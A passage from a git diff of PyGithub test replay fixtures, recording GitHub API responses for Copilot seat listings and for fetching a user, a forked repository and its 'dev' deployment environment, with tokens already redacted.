('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="prev", ; rel="first"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4825'), ('X-RateLimit-Reset', '1690436729'), ('X-RateLimit-Used', '175'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '36DD:03FA:2DE97B:304197:64C1FE3A')] +{"total_seats_consumed":102,"total_seats_purchased":103,"users":[{"github_com_login":"beaver-user091","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user091","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user092","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user092","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user093","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user093","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user094","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user094","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user095","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user095","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user096","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user096","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user097","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user097","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user098","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user098","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user099","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user099","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user100","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user100","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user101","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user101","github_com_member_roles":[],"github_com_enterprise_roles":["Pending outside collaborator invitation"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user102","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user102","github_com_member_roles":[],"github_com_enterprise_roles":["Pending outside collaborator invitation"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":false,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1}]} diff --git a/tests/ReplayData/Environment.setUp.txt b/tests/ReplayData/Environment.setUp.txt new file mode 100644 index 0000000000..8f9ceef2ff --- /dev/null +++ b/tests/ReplayData/Environment.setUp.txt @@ -0,0 +1,32 @@ +https +GET +api.github.com +None +/user +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Wed, 20 Apr 2022 14:01:42 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"deb192848286d837e1a96d0d833bc7f7fa450e5c76fdb55353d9d99f92044c2f"'), ('Last-Modified', 'Mon, 11 Apr 2022 10:43:16 GMT'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2022-05-13 15:01:13 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4999'), ('X-RateLimit-Reset', '1650466902'), ('X-RateLimit-Used', '1'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F375:EF17:1BDD7E:1CEDD7:62601246')] +{"login":"alson","id":19245,"node_id":"MDQ6VXNlcjE5MjQ1","avatar_url":"https://avatars.githubusercontent.com/u/19245?v=4","gravatar_id":"","url":"https://api.github.com/users/alson","html_url":"https://github.com/alson","followers_url":"https://api.github.com/users/alson/followers","following_url":"https://api.github.com/users/alson/following{/other_user}","gists_url":"https://api.github.com/users/alson/gists{/gist_id}","starred_url":"https://api.github.com/users/alson/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/alson/subscriptions","organizations_url":"https://api.github.com/users/alson/orgs","repos_url":"https://api.github.com/users/alson/repos","events_url":"https://api.github.com/users/alson/events{/privacy}","received_events_url":"https://api.github.com/users/alson/received_events","type":"User","site_admin":false,"name":null,"company":null,"blog":"","location":null,"email":null,"hireable":null,"bio":null,"twitter_username":null,"public_repos":9,"public_gists":0,"followers":5,"following":0,"created_at":"2008-08-01T14:15:46Z","updated_at":"2022-04-11T10:43:16Z"} + +https +GET +api.github.com +None +/repos/alson/PyGithub +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Wed, 20 Apr 2022 14:01:42 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"b9d5b0c5e350dee5ace25a78f5d53c601a0efb75b614f35aca41c37b329ec6de"'), ('Last-Modified', 'Wed, 20 Apr 2022 13:43:21 GMT'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2022-05-13 15:01:13 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1650466902'), ('X-RateLimit-Used', '2'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F376:9F57:EED29:FE724:62601246')] +{"id":480791541,"node_id":"R_kgDOHKhL9Q","name":"PyGithub","full_name":"alson/PyGithub","private":false,"owner":{"login":"alson","id":19245,"node_id":"MDQ6VXNlcjE5MjQ1","avatar_url":"https://avatars.githubusercontent.com/u/19245?v=4","gravatar_id":"","url":"https://api.github.com/users/alson","html_url":"https://github.com/alson","followers_url":"https://api.github.com/users/alson/followers","following_url":"https://api.github.com/users/alson/following{/other_user}","gists_url":"https://api.github.com/users/alson/gists{/gist_id}","starred_url":"https://api.github.com/users/alson/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/alson/subscriptions","organizations_url":"https://api.github.com/users/alson/orgs","repos_url":"https://api.github.com/users/alson/repos","events_url":"https://api.github.com/users/alson/events{/privacy}","received_events_url":"https://api.github.com/users/alson/received_events","type":"User","site_admin":false},"html_url":"https://github.com/alson/PyGithub","description":"Typed interactions with the GitHub API v3 (with support for Environments)","fork":true,"url":"https://api.github.com/repos/alson/PyGithub","forks_url":"https://api.github.com/repos/alson/PyGithub/forks","keys_url":"https://api.github.com/repos/alson/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/alson/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/alson/PyGithub/teams","hooks_url":"https://api.github.com/repos/alson/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/alson/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/alson/PyGithub/events","assignees_url":"https://api.github.com/repos/alson/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/alson/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/alson/PyGithub/tags","blobs_url":"https://api.github.com/repos/alson/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/alson/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/alson/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/alson/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/alson/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/alson/PyGithub/languages","stargazers_url":"https://api.github.com/repos/alson/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/alson/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/alson/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/alson/PyGithub/subscription","commits_url":"https://api.github.com/repos/alson/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/alson/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/alson/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/alson/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/alson/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/alson/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/alson/PyGithub/merges","archive_url":"https://api.github.com/repos/alson/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/alson/PyGithub/downloads","issues_url":"https://api.github.com/repos/alson/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/alson/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/alson/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/alson/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/alson/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/alson/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/alson/PyGithub/deployments","created_at":"2022-04-12T12:00:27Z","updated_at":"2022-04-20T13:43:21Z","pushed_at":"2022-04-20T13:43:11Z","git_url":"git://github.com/alson/PyGithub.git","ssh_url":"git@github.com:alson/PyGithub.git","clone_url":"https://github.com/alson/PyGithub.git","svn_url":"https://github.com/alson/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13547,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2022-04-20T13:58:31Z","pushed_at":"2022-04-12T12:36:44Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13547,"stargazers_count":5203,"watchers_count":5203,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1478,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":148,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1478,"open_issues":148,"watchers":5203,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2022-04-20T13:58:31Z","pushed_at":"2022-04-12T12:36:44Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13547,"stargazers_count":5203,"watchers_count":5203,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1478,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":148,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1478,"open_issues":148,"watchers":5203,"default_branch":"master"},"network_count":1478,"subscribers_count":0} + +https +GET +api.github.com +None +/repos/alson/PyGithub/environments/dev +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Wed, 20 Apr 2022 14:01:42 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"3b0433057350078e2272494ff1c150fd0063b57b11fad140ec6bf723991e9ebf"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2022-05-13 15:01:13 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1650466902'), ('X-RateLimit-Used', '3'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F37B:4620:7192EF:732DA7:62601246')] +{"id":464814513,"node_id":"EN_kwDOHKhL9c4btIGx","name":"dev","url":"https://api.github.com/repos/alson/PyGithub/environments/dev","html_url":"https://github.com/alson/PyGithub/deployments/activity_log?environments_filter=dev","created_at":"2022-04-13T15:06:32Z","updated_at":"2022-04-13T15:06:32Z","protection_rules":[{"id":216323,"node_id":"GA_kwDOHKhL9c4AA00D","type":"branch_policy"},{"id":216324,"node_id":"GA_kwDOHKhL9c4AA00E","type":"required_reviewers","reviewers":[{"type":"User","reviewer":{"login":"alson","id":19245,"node_id":"MDQ6VXNlcjE5MjQ1","avatar_url":"https://avatars.githubusercontent.com/u/19245?v=4","gravatar_id":"","url":"https://api.github.com/users/alson","html_url":"https://github.com/alson","followers_url":"https://api.github.com/users/alson/followers","following_url":"https://api.github.com/users/alson/following{/other_user}","gists_url":"https://api.github.com/users/alson/gists{/gist_id}","starred_url":"https://api.github.com/users/alson/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/alson/subscriptions","organizations_url":"https://api.github.com/users/alson/orgs","repos_url":"https://api.github.com/users/alson/repos","events_url":"https://api.github.com/users/alson/events{/privacy}","received_events_url":"https://api.